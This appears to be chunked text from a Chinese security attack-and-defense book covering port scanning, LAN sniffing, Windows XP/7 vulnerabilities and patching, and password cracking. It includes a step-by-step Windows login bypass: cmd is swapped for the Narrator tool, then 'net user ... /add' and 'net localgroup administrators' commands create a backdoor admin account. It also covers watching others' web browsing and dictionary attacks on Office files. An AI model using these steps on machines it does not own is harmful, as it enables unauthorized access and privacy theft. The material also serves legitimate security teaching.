Lookup按钮可查看该IP地址的主机名，单击Ping按钮可查看本地计算机是否与目标计算机连接。 3.2.3 使用X-Scan扫描计算机端口 3.2.3 使用X-Scan扫描计算机端口 X-Scan是一款国内非常著名的综合扫描器之一，该软件完全免费并且无需安装。X-Scan采用多线程方式对指定IP地址段（或者单机）进行安全漏洞扫描，并且把扫描到的漏洞和安全焦点网站相连接，风险评估每个漏洞并提供扫描漏洞和扫描溢出程序，便于管理人员修复漏洞。当使用X-Scan扫描指定IP地址段（或者单机）时，还可以扫描出它们各自开放的端口，这同样是一种潜在的漏洞。 从霏凡软件网、华军软件网等网站中下载X-Scan后，便可将其解压到本地计算机中，双击xscan_gui.exe文件后便可启动X-Scan，打开如下图所示的X-Scan主界面。 利用X-Scan扫描端口需要分两个阶段进行操作，第一个阶段是设置扫描参数，包括设置指定阶段的IP地址、扫描需要加载的插件等；完成扫描参数的配置后便可进入第二个阶段，即开始扫描，扫描后便可从扫描结果中查看指定IP地址段（或者单击）所开放的端口以及存在的漏洞等。下面就介绍具体的操作步骤。 STEP01：单击“扫描设置”命令 STEP02：单击“示例”按钮 STEP03：查看IP地址格式示例 STEP04：输入IP地址范围 STEP05：设置扫描模块 STEP06：设置并发扫描 STEP07：设置扫描报告 STEP08：启用跳过没有响应的主机 STEP09：端口相关设置 STEP10：单击“开始扫描”命令 STEP11：正在加载数据 弹出扫描提示窗口，提示用户X-Scan正在加载漏洞检测脚本，耐心等待其加载完毕。 STEP12：查看扫描信息 STEP13：单击“检测报告”命令 STEP14：选择扫描报告 STEP15：查看扫描结果 提示：利用X-Scan查询指定IP地址对应的主机名 X-Scan不仅具有扫描指定计算机端口的功能，而且还提供了查询指定IP地址对应主机名的功能。A在X-Scan主界面菜单栏中单击“工具”＞“物理地址查询”命令，弹出“工具”对话框，B输入IP地址，C单击“查询物理地址”后可看见该IP地址对应的主机名。"},
    {"text": "3.3 嗅探网络中的数据包 3.3 嗅探网络中的数据包 嗅探是指窃听网络中流经的数据包，这里的网络一般是指用集线器或路由器组建的局域网。通过嗅探并解析数据包，便可知晓数据包中的信息，一旦含有账户密码等隐私信息就可能造成个人资金的损失。本节就来介绍黑客嗅探数据包所使用的软件以及相关操作。 3.3.1 认识嗅探的原理 嗅探数据包无法通过输入命令来实现，需要使用专业的嗅探工具。嗅探的原理是指让安装了嗅探工具的计算机能够接收局域网中所有计算机发出的数据包，并对这些数据包进行分析。 在局域网中，数据包会广播到所有主机的网络接口，在没有使用嗅探工具之前，计算机的网卡只会接收发给自己的数据包，但是在安装了嗅探工具之后，计算机则能接收所有流经本地计算机的数据包，从而实现监听。 嗅探工具不仅适合黑客使用，而且也适合网络管理员和网络程序员使用。对于黑客来说，使用嗅探工具可以监听到网络中所有的数据包，通过分析这些数据包来达到盗取他人隐私信息的目的；而对于网络管理员和网络程序员来说，利用嗅探工具则是用于找出网络堵塞的原因或者调试程序。 3.3.2 使用Sniffer Pro捕获并分析网络数据 3.3.2 使用Sniffer Pro捕获并分析网络数据 Sniffer Pro是一款功能十分强大的嗅探工具，它曾享有“看不见的网管专家”之美誉。该软件可以用来监控局域网，以确保局域网的正常持续运转，同时也可以捕获网络中的数据包并对数据包进行分析。 STEP01：选择定义过滤器 STEP02：定义地址 STEP03：定义可用到的协议 STEP04：定义缓冲属性 STEP05：开始捕获数据 STEP06：查看捕获的数据 STEP07：查看数据内容 此时可在界面中看见该数据包的协议、站点、IP地址以及端口等信息。 提示：切换至Object选项卡查看信息 除了通过双击指定报文来查看其详细信息之外，还可以在选中报文后切换至Object选项卡后查看。 3.3.3 使用“艾菲网页侦探”嗅探浏览过的网页 3.3.3 使用“艾菲网页侦探”嗅探浏览过的网页 “艾菲网页侦探”是一个HTTP协议的网络嗅探器、协议分析器和HTTP文件重建工具。它可以捕捉局域网内含有HTTP协议的IP数据包并对其进行分析，找出符合过滤器的那些HTTP通信内容。用户可以通过该工具查看网络中其他用户都在浏览哪些网页，这些网页的内容是什么。 STEP01：启动“艾菲网页侦探” STEP02：单击Options命令 STEP03：设置嗅探内容 STEP04：设置嗅探范围 STEP05：开始嗅探 STEP06：查看指定的信息 STEP07：查看基本信息 弹出对话框，在Detail选项卡下可看见基本信息和数据包列表。 STEP08：查看网页内容 切换至Content选项卡，可在界面中看见所选计算机浏览过的网页。 3.4 防范端口扫描与嗅探 3.4 防范端口扫描与嗅探 端口扫描与嗅探都是黑客经常采用的招数，其目的是定位目标计算机和窃取隐私信息。为了确保自己计算机的安全，用户需要掌握防范嗅探与端口扫描的常见措施，保障个人隐私信息的安全。 3.4.1 掌握防范端口扫描的常用措施 防范端口扫描的常见措施主要有两种：第一种是关闭闲置和有潜在危险的端口，第二种则是利用防火墙屏蔽带有扫描症状的端口。 1.关闭闲置和有潜在危险的端口 对于黑客而言，计算机的所有端口都有可能成为攻击的目标，也就是说计算机所有对外通信的端口都存在潜在的威胁，为了不影响系统的运行和某些应用软件的使用，用户需要将一些系统必需的通信端口服务开启，例如访问网页所需要的HTTP服务（80号端口）、QQ服务（4000号端口）等，关闭端口对应的服务也就意味着关闭端口。 2.利用防火墙屏蔽带有扫描症状的端口 防火墙的工作原理是：防火墙首先检查每个到达本地计算机的数据包，在该数据包被系统中的任何软件识别之前，防火墙可以拒绝接收该数据包，同时也可以禁止本地计算机接收外网传入的任何数据包。当第一个请求建立连接的数据包被本地计算机回应后，一个“TCP/IP端口”被打开；此时对方就可以开始扫描本地计算机的端口信息，在扫描的过程中，对方计算机不断和本地计算机建立连接，并逐渐打开各个服务对应的“TCP/IP端口”以及闲置的端口。此时防火墙经过自带的拦截规则进行判断，就可以知道对方是否正在进行端口扫描，一旦确认对方正在扫描本地计算机的端口，则将直接拦截对方发送过来的所有扫描需要的数据包。 用户在安装网络防火墙之后，应检查它们所拦截的端口扫描规则是否被选中，否则它会放行端口扫描，只是在日志中留下信息而已。 3.4.2 利用瑞星防火墙防范扫描 3.4.2 利用瑞星防火墙防范扫描 瑞星防火墙是一款功能强大的防火墙，该软件具有强大的网络攻击拦截能力和恶意网站拦截功能。除此之外，通过开启瑞星防火墙的网络数据保护功能，可以防范当前计算机被他人恶意扫描。 STEP01：选择网络防护 STEP02：开启网络数据保护功能 STEP03：单击“设置”选项 STEP04：启用端口隐身功能"},
    {"text": "3.4.3 了解防范嗅探的常用措施 3.4.3 了解防范嗅探的常用措施 实际上，在局域网中很难发现嗅探，因为嗅探根本就不会留下任何痕迹，因此用户就有必要了解防范嗅探的常用措施。防范嗅探的常用措施主要有两种：第一种是对传输的数据进行加密；第二种是采用安全的拓扑结构。 1.加密传输的数据 对传输的数据进行加密是指在传输数据前对数据进行加密，待到对方接收数据后再进行解密。这样一来，即使该数据被他人嗅探，由于不知道解密密码也无法得到可以利用的信息。传统的TCP/IP协议并没有采用加密的方法来对数据进行传输，即都是以明文的方式进行传输。因此若想彻底解决传输的数据被嗅探的问题，则需要通过安装补丁来增强TCP/IP协议。 2.采用安全的拓扑结构 由于嗅探工具只能在当前网络段中捕获数据，因此若将网络段分得越细，那么嗅探工具能够收集到的信息就越少。在网络中，有3种网络连接设备是嗅探工具无法跨越的：交换机、路由器和网桥。只需要灵活使用这些设备，就能够有效地防范嗅探。在网络中使用交换机来连接网络，能够避免数据的广播，即避免让网络中的任意一台计算机或服务器接收到任何与之不相关的数据。 对网络进行分段，可以通过在交换机上设置VLAN来实现，分段后网络就能自动隔离不必要的数据传送，从而有效地防范了嗅探。 无论是哪种嗅探方式，Sniffer工具一般是在入侵者成功侵入目标计算机后才会使用该工具来收集有用的数据和信息，因此防范系统被入侵才是解决问题的根本之所在。网络管理员一定要定期对自己负责管理的网络进行安全测试，以便及时地发现和防止安全隐患，做到早发现早解决。 第4章 Windows系统漏洞攻防 第4章 Windows系统漏洞攻防 Windows操作系统是迄今为止使用频率最高的一款操作系统，虽然其安全性随着版本的更新而不断提高，但是由于人为编写的缘故使得该操作系统始终存在漏洞和缺陷，因此被黑客抓住了弱点进行入侵攻击。虽然Windows操作系统存在缺陷和漏洞，但是Microsoft公司通过发布漏洞补丁来提高系统的安全性，让Windows操作系统不再被攻破。因此用户不仅需了解Windows操作系统的漏洞和缺陷，还需了解如何弥补这些漏洞和缺陷。 知识要点 ·认识Windows系统漏洞 ·认识Windows XP中存在的漏洞 ·认识Windows 7中存在的漏洞 ·检测Windows系统中存在的漏洞 ·学会手动修复Windows系统漏洞 第4章 Windows系统漏洞攻防 4.1 认识Windows系统漏洞 Windows系统漏洞又称Windows安全缺陷，它是威胁Windows系统安全的根本原因，一旦Windows操作系统存在漏洞，则黑客会抓住这些漏洞来发起入侵攻击，从而达到控制目标计算机的目的。因此用户有必要了解Windows系统产生漏洞的原因和存在的隐患。 4.1.1 认识系统产生漏洞的原因 Windows操作系统虽然拥有华丽的界面与强大的功能，但是仍然避免不了会出现蓝屏、死机等现象，追根溯源，是由于Windows操作系统是人为编写的，始终会或多或少存在漏洞。Windows操作系统产生漏洞的原因主要有两个：即人为因素与硬件因素。 1.人为因素 人为因素是指Windows操作系统的编制人员由于技术缺陷或者某种特定的目的而导致操作系统产生漏洞。还有一种情况就是，在编写操作系统的过程中，编程人员为了便于后期的调试，经常会在程序代码的隐蔽处留下后门。 2.硬件因素 硬件因素是指由于硬件的问题而导致Windows操作系统无法弥补硬件的漏洞，硬件的问题通常包括硬件自身的设计缺陷以及不兼容性。当硬件存在设计缺陷时，往往会通过软件表现出来，例如由于硬件驱动程序与Windows操作系统的不兼容而出现的蓝屏、死机等现象，或者由于组装机中各硬件的不兼容而导致的蓝屏和死机等现象。 由于Windows操作系统广泛应用于个人计算机中，因此将会导致有着大量的入侵者开始研究该系统潜在的漏洞。Windows操作系统与Linux等开放源码的操作系统不一样，它属于暗箱操作，普通用户无法获取操作系统的源代码，因此安全问题均由Microsoft公司负责解决。"},
    {"text": "4.1.2 了解系统中存在的安全隐患 4.1.2 了解系统中存在的安全隐患 Windows操作系统是由Microsoft公司的程序员编写出来的，因此在编写时必然会受到当时客观条件与技术的限制。同时该操作系统含有大量的程序代码，因此不可避免地存在一些安全隐患，Windows系统中常见的安全隐患主要包括核心代码中的潜在BUG、扩展名欺骗、设备文件名问题、庞大而复杂的注册表、系统权限分配繁冗以及设计失误。 1.核心代码中的潜在BUG 对于Windows操作系统这种含有大量程序代码的软件而言，它潜在的BUG往往与程序的大小成正比。无论是Windows XP、Windows 7，还是Windows 8，它们的核心代码都没有太大的变化，从而导致Windows新版本操作系统在继承了Windows老版本操作系统中核心代码的同时，也将其内在潜藏的BUG继承了下来。 2.扩展名欺骗 Windows操作系统不完全是按照扩展名来处理文件的，而是根据文件头部的信息对文件性质作出初步判断的。例如重命名一个文件photo.jpg.exe，用ASC Ⅱ值的255来代替其中的空格，那么在Windows系统中只能看见photo.jpg这样的文件名。恶意攻击者可能会将该文件连接一个可执行文件，但是其他的人会将该文件当成是一张普通的照片文件。 3.设备文件名问题 在Windows系统中，用户可以通过字符链接来访问磁盘分区。如，可以使用\"\\.F:\"这样的方式来试图访问F盘，这是因为在编写某些程序时，由于在控制对任意驱动器进行访问所采取的手段模块设计考虑不足所造成的问题。 4.庞大而复杂的注册表 注册表对Windows来说是非常重要的，注册表实际上是一个很庞大的数据库，包含了应用程序和计算机系统的配置、系统和应用程序的初始化信息、应用程序和文档文件的关联关系、硬件设备的说明、状态和属性以及各种状态信息和数据等。由于注册表过于庞大和复杂，因此很容易出现漏洞而被人所利用。 5.系统权限分配繁冗 Windows操作系统中几乎每个对象都可以设置权限，如注册表项目、硬件设备等，这么庞大的访问控制列表实在难以一一审核，所以其中有很多对象都有可能被黑客用来作为后门使用。 6.设计失误 Windows操作系统在设计方面存在着很多失误，例如账号锁定和IIS的安全设计之间就存在冲突，一旦启用账号锁定策略，即可对IUSER_和IWAN_进行穷举，这两个账号锁定后，任何人都无法访问IIS，这样一来用很小的代价就能实现DoS。类似的问题还有不少。"},
    {"text": "4.2 了解Windows系统中存在的漏洞 4.2 了解Windows系统中存在的漏洞 目前常用的Windows操作系统包括Windows XP和Windows 7，它们均存在不少的漏洞，这也是Microsoft公司不定期发布漏洞补丁文件的原因。对于用户而言，完全有必要了解这两款操作系统中存在的一些基本漏洞。 4.2.1 认识WindowsXP中存在的漏洞 在Windows XP系统中，常见的漏洞主要有UPNP服务漏洞、帮助与支持中心漏洞、压缩文件夹漏洞、服务拒绝漏洞、RDP漏洞以及热键漏洞。 1.UPNP服务漏洞 漏洞描述：UPNP（Universal Plug and Play）体系面向无线设备、PC机和智能设备，提供普遍的对等网络链接，在家用信息设备、办公网络设备之间提供TCP/IP连接和Web访问功能，该服务可用于检测和集成UPNP硬件。Windows XP系统中默认启动的UPNP服务存在着严重的漏洞。该协议可以使攻击者非法获取任何Windows XP的系统级访问，从而进行攻击，还可以通过控制其他多台安装有Windows XP的计算机发起分布式的攻击。 防御策略：首先禁用UPNP服务，然后下载并安装对应的补丁程序。 2.帮助与支持中心漏洞 漏洞描述：Windows XP中的帮助和支持中心提供了集成工具，用户可通过该工具获取针对各种主题的帮助和支持。该功能存在的漏洞可以让攻击者跳过特殊的网页（在打开网页时调用错误的函数，并将存在的文件或文件夹的名字作为参数传递）来使上传的文件或文件夹操作失败，随后该网页可在网站上公布，以攻击访问该网站的用户或被作为邮件传播来攻击。该漏洞除了使攻击者可以删除文件之外，不会赋予其他的权限。攻击者既无法获取系统管理员的权限，也无法读取或修改文件。 防御策略：安装Windows XP的Service Pack 3。 3.压缩文件夹漏洞 漏洞描述：Windows系统中的“压缩文件夹”功能允许将Zip格式的文件作为普通文件夹处理。该功能存在两个漏洞：一是在解压缩Zip文件时会有未经检查的缓冲存在于程序中以存放被解压的文件，因此很可能导致浏览器崩溃或攻击者的代码被运行；二是解压缩功能在非用户指定的目录中放置文件，可使攻击者在用户系统的已知位置中存放文件。 防御策略：拒绝接收不信任的邮件附件，不下载不信任的文件。 4.服务拒绝漏洞 漏洞描述：PPTP（Point to Point Tunneling Protocol）是Windows系统中作为远程访问服务实现的虚拟专用网技术。由于在控制用于建立、维护和拆开PPTP连接的代码段中存在未经检查的缓存，导致在Windows系统中实现该功能存在漏洞。通过向一台存在该漏洞的服务器发送不正确的PPTP控制数据，攻击者可损坏核心内存并导致系统失效，中断所有系统中正在运行的进程。该漏洞可攻击任何一台提供PPTP服务的服务器，对于PPTP客户端的工作站，攻击者只需激活PPTP会话即可进行攻击。对任何遭到攻击的系统可以通过重启来恢复正常操作。 防御策略：关闭PPTP服务。 5.RDP漏洞 漏洞描述：RDP（Remote Desktop Protocol）是Windows操作系统为客户端提供的远程终端会话功能。该功能将终端会话的相关硬件信息传送至远程客户端。该功能存在两个漏洞，一个是与某些RDP版本的会话加密实现有关的漏洞，另一个是与Windows XP中的RDP实现对某些不正确的数据包处理方法有关的漏洞。 （1）与某些RDP版本的会话加密实现有关的漏洞。 Windows系统中的所有RDP实现均允许用户对RDP会话中的数据进行加密，然而在Windows XP系统中，纯文本会话数据的校验在发送之前并未经过加密，窃听并记录RDP会话的攻击者可以对该校验密码分析、攻击，并覆盖该会话传输。 （2）与Windows XP中的RDP实现对某些不正确的数据包处理方法有关的漏洞。 当Windows系统接收这些不正确的数据包时，远程桌面服务将会失效，并且当攻击者向一个已受影响的系统发送这类数据包时，并不需要经过系统的验证。 防御策略：在Windows系统中关闭远程桌面服务，或者在防火墙中屏蔽3389端口即可避免该攻击。 6.热键漏洞 漏洞描述：热键功能是Windows系统提供的服务，当用户离开计算机后，该计算机处于未保护状态，此时Windows系统会自动实施“自注销”。虽然无法进入桌面，但由于热键服务还未停止，因此仍然可以使用热键启动应用程序。 防御策略：该漏洞被利用的前提是热键功能一直处于可用状态，因此首先需要检查可能会带来危害程序和服务的热键，然后再启动屏幕保护程序并设置密码，并且要养成离开计算机时锁定计算机的习惯。 提示：Microsoft公司将停止对Windows XP的支持 Microsoft公司将于2014年4月8日停止对Windows XP系统所有版本的支持与服务，包括补丁、升级和漏洞修复等。但在2014年4月8日之后，用户依然可以正常使用Windows XP操作系统。目前Microsoft公司已中止对Windows XP操作系统的主要技术支持，包括Internet Explorer及MSN等服务。"},
    {"text": "4.2.2 认识Windows 7中存在的漏洞 4.2.2 认识Windows 7中存在的漏洞 相比于Windows XP系统来说，Windows 7系统中存在的漏洞就比较少了，常见的漏洞主要有两个：快捷方式漏洞和SMB协议漏洞。 1.快捷方式漏洞 漏洞描述：快捷方式漏洞是Windows Shell框架中存在的一个危急安全漏洞，当用户运行扩展名为lnk的快捷方式时，该漏洞可通过一个特制的快捷方式自动激活恶意程序。该漏洞可能会通过可移动硬盘进行传播。 防御策略：禁用可移动硬盘的自动播放功能，并且需手动检查可移动硬盘的根文件夹。 2.SMB协议漏洞 漏洞描述：SMB（Server Message Block）协议是一种IBM协议，它用于在计算机间共享文件、打印机、串口等。当用户执行SMB2.0协议时系统将会受到网络攻击从而导致系统崩溃或重启。因此只要故意发送一个错误的网络协议请求，Windows 7系统就会出现页面错误，从而导致蓝屏或死机。 防御策略：关闭SMB服务。 4.3 检测Windows系统中存在的漏洞 4.3 检测Windows系统中存在的漏洞 虽然4.2.1节列举了部分Windows 7中存在的漏洞，但是想要完全掌握Windows 7中存在的漏洞则需要使用专业的漏洞扫描软件。目前常用的漏洞扫描软件有Microsoft公司推出的MBSA（MicrosoftBaselineSecurityAnalyzer）、奇虎公司推出的360安全卫士等软件。 4.3.1 使用MBSA检测系统安全性 MBSA是Microsoft Baseline Security Analyzer的简称，中文译为Microsoft基准安全分析器，该软件可以扫描当前操作系统中存在的漏洞及不安全配置。下面介绍使用MBSA检测系统安全性的操作方法。 STEP01：启动MBSA应用程序 STEP02：选择扫描单台计算机 STEP03：设定要扫描的计算机 STEP04：设置检测项目 STEP05：正在扫描系统 提示：下载MSBA安装程序包 用户可从官网下载MSBA安装程序，网址为http://www.microsoft.com/en-us/download/details.aspx?id=7558。 STEP06：查看扫描结果 提示：MBSA扫描结果的保存位置 MBSA的扫描结果会保存在X:\\Users\\username\\SecurityScans文件夹中，其中X表示Windows 7所在的分区，username是指执行MBSA的用户名。 提示：学会理解显示的扫描结果 在MBSA扫描后所显示的结果中，软件会自动用 、 、 、 4种不同的图标来简单区分被扫描的计算机中哪些方面存在漏洞，哪些方面需要改进。 绿色的√符号 表示该项目已经通过检测。 红色的×符号 表示该项目没有通过检测，即存在安全隐患，用户可以单击How to correct this链接查看解决办法。 橙色的！符号 表示该项目虽然通过了检测，但是可以继续优化。 蓝色的i符号 表示该项目虽然没有通过检测，但是问题不是很严重，只要进行简单的修改即可。 4.3.2 使用360安全卫士检测系统中的漏洞 4.3.2 使用360安全卫士检测系统中的漏洞 360安全卫士是一款由奇虎公司推出的上网安全类软件，该软件功能十分强大，受到不少用户的青睐，用户可以利用该软件来查看当前系统是否存在漏洞。 360安全卫士的安装程序包可以从www.360.cn网站下载，下载后将其安装到计算机中即可。打开其主界面，切换至“漏洞修复”选项卡便可看见当前系统中存在的漏洞。 4.4 学会手动修复Windows系统漏洞 4.4 学会手动修复Windows系统漏洞 当Windows 7系统中存在漏洞时，则用户需要采用各种办法来修复系统中存在的漏洞，既可以使用Windows Update来修复系统漏洞，也可以使用360安全卫士来修复系统漏洞。 4.4.1 使用WindowsUpdate修复系统漏洞 Windows Update是Microsoft公司提供的一款自动更新工具，该工具提供了漏洞补丁的安装、驱动程序和软件的升级等功能。利用Windows Update可以更新当前的系统，扩展系统的功能，让系统支持更多的软、硬件，解决各种兼容性问题，打造更安全、更稳定的系统。 STEP01：单击“控制面板”命令 STEP02：单击Windows Update链接 STEP03：单击“检查更新”按钮 STEP04：选择重要更新补丁 STEP05：选择要安装的补丁 STEP06：开始安装更新 STEP07：正在下载更新 STEP08：立即重新启动 STEP09：配置Windows Update 在关机过程中，计算机会自动安装漏洞补丁，请勿突然断电或强制关闭。 提示：更改Windows Update设置 Windows Update提供了更新设置，用户可以设置Windows Update如何安装系统漏洞补丁，其具体操作为：按照4.4.1节STEP01～STEP02介绍的方法打开Windows Update窗口，单击“更改设置”链接，切换至新的界面，在“重要更新”选项组中设置更新方式，然后单击“确定”按钮保存退出。 4.4.2 使用360安全卫士修复系统漏洞 4.4.2 使用360安全卫士修复系统漏洞 360安全卫士不仅具有检测系统漏洞的功能，它还提供了修复系统漏洞的功能，并且它的修复操作非常人性化，只需选择要修复的漏洞，软件就会自动在后台进行修复操作，修复完成后重启计算机即可。 STEP01：选择要安装的漏洞补丁 STEP02：单击“立即修复”按钮 STEP03：正在下载漏洞补丁 此时360安全卫士开始下载选中的漏洞补丁，请耐心等待。 STEP04：正在安装漏洞补丁 待所选的漏洞补丁下载完毕后便开始依次安装这些补丁。 STEP05：重新启动计算机 提示：建议安装所有高危漏洞补丁 360安装卫士会自动扫描出系统的高危漏洞和普通漏洞，建议用户安装所有的高危漏洞补丁，以确保系统的相对安全。"},
    {"text": "第5章 密码攻防 第5章 密码攻防 密码对于任何用户来说都不陌生，它是一种用于保护重要信息和文件的工具，只有输入正确的密码才可查看文件和信息的具体内容。一些黑客为了获取这些信息，将会采用各种方式来破解密码，因此用户不仅需要了解黑客破解密码的常用方法，而且还要掌握防范密码被破解的常用措施。 知识要点 ·加密与解密基础 ·破解系统登录密码 ·破解屏幕保护程序密码 ·破解Office文档密码 ·破解压缩文件的打开密码 ·防范密码被轻易破解 第5章 密码攻防 5.1 加密与解密基础 在密码学中，加密与解密是互逆的操作，它们的操作对象都是密码。对于解密而言，除了在知道密码的情况下进行解密操作之外，还可以在不知道密码的情况下进行解密操作，即破解密码。 5.1.1 认识加密与解密 加密是指以某种特殊的算法改变原有的信息数据，使得其他用户即使获取了已加密的信息数据，但因不知解密的方法，仍然无法了解信息的内容。其基本过程就是对原来为明文的文件或数据按某种算法进行处理，使其成为不可读的一段代码，通常称为“密文”，使其只能在输入相应的密钥之后才能显示出本来内容，通过这样的途径来达到保护数据不被人非法窃取、阅读的目的。 解密操作是加密操作的逆操作，即利用密钥将不可读的“密文”转换为“明文”，以便于直接阅读。 5.1.2 破解密码的常用方法 5.1.2 破解密码的常用方法 破解密码是指在不知道密码的情况下采用各种方法来进行破解密码的操作。破解密码常见的操作有暴力穷举、击键记录、屏幕记录、Internet钓鱼、嗅探以及密码心理学6种。 1.暴力穷举 暴力穷举是密码破解技术中最基本的招数，也就是通过将键盘上的字母、数字和符号进行不同的组合来尝试破译密码。如果黑客在破解之前知晓了账号，例如网上银行账号、支付宝账号等，一旦登录密码设置得过于简单（例如为简单的数字或字母组合），黑客利用暴力破解工具在短时间内就可以将密码破解出来。 2.击键记录 当用户设置的密码较为复杂时，使用暴力穷举就十分浪费时间了，这时候黑客就会通过给目标计算机安装具有击键记录的木马或病毒程序，来记录和监听用户的击键操作，然后通过各种方式记录用户的击键内容并发送给攻击者，攻击者最后只需分析用户击键信息即可破解出密码。 3.屏幕记录 除了通过键盘输入密码外，用户还经常会采用通过鼠标和屏幕键盘录入密码的方法。面对这种情况，黑客仍然可以通过向目标计算机植入木马程序来截取目标计算机的屏幕记录鼠标点击的位置，通过记录鼠标位置对比截屏的图片，从而破解用户密码。 4.Internet钓鱼 “Internet钓鱼”是指黑客利用欺骗性的电子邮件或伪造的网站来诱骗用户输入账户密码信息，从而获取这些信息。受骗者往往会上当受骗而泄露自己的敏感信息（如用户名、密码、账号、PIN码或信用卡详细信息）。Internet钓鱼主要通过发送电子邮件引诱用户登录假冒的网上银行、网上证券网站，骗取用户账号、密码，实施盗窃行为。 5.嗅探 在局域网中，黑客若想迅速获取大量的账号，最为有效的手段就是利用嗅探工具嗅探局域网中的数据包。利用嗅探工具可以监视网络的状态、数据流动情况以及网络上传输的信息。当信息以明文的形式在网络上传输时，便可以使用网络监听的方式窃取网上传送的数据包。 6.密码心理学 很多著名的黑客破解密码并非采用十分尖端的技术，而是借助于密码心理学，从用户的心理入手，从细微入手分析用户的信息和心理（如，用户爱将自己的密码设置为出生年月日、手机号码等），从而更快地破解出密码。其实，获得信息还有很多途径，密码心理学如果掌握得好，可以非常快速地破解获得用户信息。 5.2 解除系统中的密码 5.2 解除系统中的密码 在Windows 7操作系统中，用户可以设置BIOS密码以及系统登录密码，这些密码都有各自的用途。但是对于黑客而言，完全可以采用不同的方式绕过这些密码。下面就来介绍一下黑客是如何解除这些密码的。 5.2.1 解除BIOS密码 BIOS密码主要用于保护BIOS，以防止他人非法篡改BIOS中的相关设置。一旦密码输入错误就无法进入BIOS。解除BIOS密码有两种方法：第一种是CMOS放电法，第二种是跳线短接法。这两种方法都是通过对计算机硬件进行操作来实现的。 1.CMOS放电法 CMOS放电法是指通过取下计算机主板上的CMOS电池，等待几秒钟后再将其重新安装到主板中的方法。采用该方法的原理是，BIOS主要由CMOS电池供电，取下CMOS电池可以切断BIOS的电力供应，这样一来，BIOS中自行设置的参数就会自动被清除。 2.跳线短接法 目前大部分的主板都配有放电跳线，以便于用户进行放电操作。跳线一般分为三针，位于主板CMOS电池附近。跳线附近显示有放电使用说明，严格按照该使用说明来进行操作即可实现CMOS放电。该操作的目的与取下CMOS电池的目的完全一样，都是达到给CMOS放电的目的。"},
    {"text": "5.2.2 解除系统登录密码 5.2.2 解除系统登录密码 Windows操作系统提供了设置登录密码的功能，系统启动后会首先进入登录界面，只有输入正确的密码后方可登录操作系统。但是对于黑客来说，可以有很多方法来避开登录密码而进入系统，也就是解除当前设置的系统登录密码。常见的方式有利用Windows 7 PE和密码重设盘。 1.利用Windows 7 PE Windows 7 PE是一款可安装在硬盘、U盘的软件，它可以为用户提供独立于本地操作系统的临时的Windows 7操作系统，含有GHOST、硬盘分区、密码破解以及数据恢复等功能。Windows 7 PE之所以有这么多功能，是因为它运行在内存中。下面介绍利用Windows 7 PE破解系统登录密码的操作方法。 STEP01：选择进入BIOS STEP02：选择Advanced BIOS Features 提示：其他进入BIOS的方法 目前市场上常见的BIOS并非只有一种，有些计算机在开机自检界面中会显示进入BIOS所需要按的热键，而有些则不显示进入方法。对于不显示进入方法的计算机，可在主板说明书中查看进入BIOS的方法。进入BIOS的方法都是通过按键盘上的某一个功能键实现的，常用的按键有【F2】、【Del】、【Esc】键等。 STEP03：选择Hard Disk Boot Priority STEP04：选择USB-HDD选项 STEP05：设置从硬盘启动 STEP06：选择PE工具箱 提示：保存对BIOS设置所做的更改 当在BIOS中完成从U盘启动的设置后，可按【F10】键，然后在弹出的对话框中输入Y后按【Enter】键，计算机将保存对BIOS所做的设置并自动重新启动。 STEP07：双击“计算机”图标 STEP08：更改Narrator文件名 提示：更改文件名的常用方法 更改文件名的常用方法主要有两种：第一种是右击待更改的文件选项，在弹出的快捷菜单中单击“重命名”命令后输入新的文件名，然后按【Enter】键；第二种是选中待更改的文件选项，按【F2】键后输入新的文件名，然后按【Enter】键。 STEP09：更改cmd文件名 STEP10：单击轻松访问图标 STEP11：选择讲述人 STEP12：利用DOS命令添加账户 输入net user kane 123/add后按【Enter】键，添加密码为123的账户。 STEP13：为新账户赋予管理员权限 输入net localgroup administrators kane/add后按【Enter】键。 STEP14：选择新创建的账户 提示：net localgroup administrators kane/add的含义 net localgroup administrators kane/add是指将名称为kane的账户添加到Administrators组中，让其成为管理员账户，这样一来，就可以直接进入操作系统，并清除其他账户的登录密码。 STEP15：输入登录密码 STEP16：成功进入系统 成功进入系统桌面，至此可以说就成功绕过登录密码进入操作系统了。 STEP17：选择用户账户 STEP18：管理其他账户 STEP19：选择要清除密码的账户 STEP20：删除登录密码 2.利用密码重置盘 密码重置盘是一种能够不限次数更改登录密码的工具，利用它可以随意更改指定用户账户的登录密码。无论是对于黑客还是自己，密码重置盘都有着很重要的作用。利用密码重置盘破解系统登录密码包括创建密码重置盘和修改密码两个阶段，下面介绍具体操作。 STEP01：选择用户账户 STEP02：选择创建密码重设盘 STEP03：单击“下一步”按钮 STEP04：选择创建密钥盘的驱动器 STEP05：输入当前用户账户的密码 提示：密码重置盘适用于所有用户账户 在Windows 7系统中创建密码重置盘后，该工具可以适用于当前系统中的所有管理员账户和标准账户。 STEP06：正在创建密码重置盘 STEP07：完成创建 STEP08：选择要重置密码的账户 STEP09：提示用户名或密码错误 STEP10：选择重设密码 STEP11：单击“下一步”按钮 STEP12：选择密钥盘所在位置 STEP13：设置新密码 STEP14：完成密码重置 STEP15：输入新密码 5.3 破解常见的文件密码 5.3 破解常见的文件密码 在Windows 7系统中，Office文档、压缩文件等都是常见的文件，这些文档可能会含有重要的信息，即使用户为这些文件设置了密码，黑客还是有办法破解这些文件的打开密码。下面就来介绍一下黑客破解这些文件密码的操作方法。 5.3.1 破解Office文档密码 破解Office文档密码的常用工具是Advanced Office Password Recovery（简称为AOPR），该软件是一款多功能Office文档密码破解工具，它能够破解Word、Excel、PowerPoint等文件的密码。该软件提供了“暴力”和“字典”两种破解方式，如果时间足够再加上策略得当，完全可以破解指定文档的密码。 1.制作密码字典文件 在使用AOPR破解Office文档密码之前，需要使用专门的工具来制作字典文件，以便于快速破解。Internet提供了大量的密码字典文件制作工具，这里以易优超级字典生成器为例介绍制作密码字典文件的操作方法。 STEP01：打开易优超级字典生成器 STEP02：启动易优超级字典生成器 STEP03：设置基本字符 STEP04：单击“浏览”按钮 STEP05：设置字典文件名和保存位置 STEP06：立即生成字典 STEP07：确定生成字典 STEP08：字典制作完成 STEP09：查看制作的字典 2.破解Office文档密码 完成密码字典文件的制作后，用户便可以利用AOPR软件来破解指定Office文档的密码。下面介绍具体的操作。 STEP01：启动AOPR软件 提示：AOPR破解Office文档的局限性 目前Internet中的AOPR工具只能破解Office 2010以下版本的Office文档，暂时无法破解Office 2010文档。 STEP02：设置暴力破解属性 若要暴力破解则切换至“暴力”选项卡，设置密码长度和字符集。 STEP03：设置字典属性 STEP04：选择制作的字典文件 STEP05：单击“打开文件”按钮 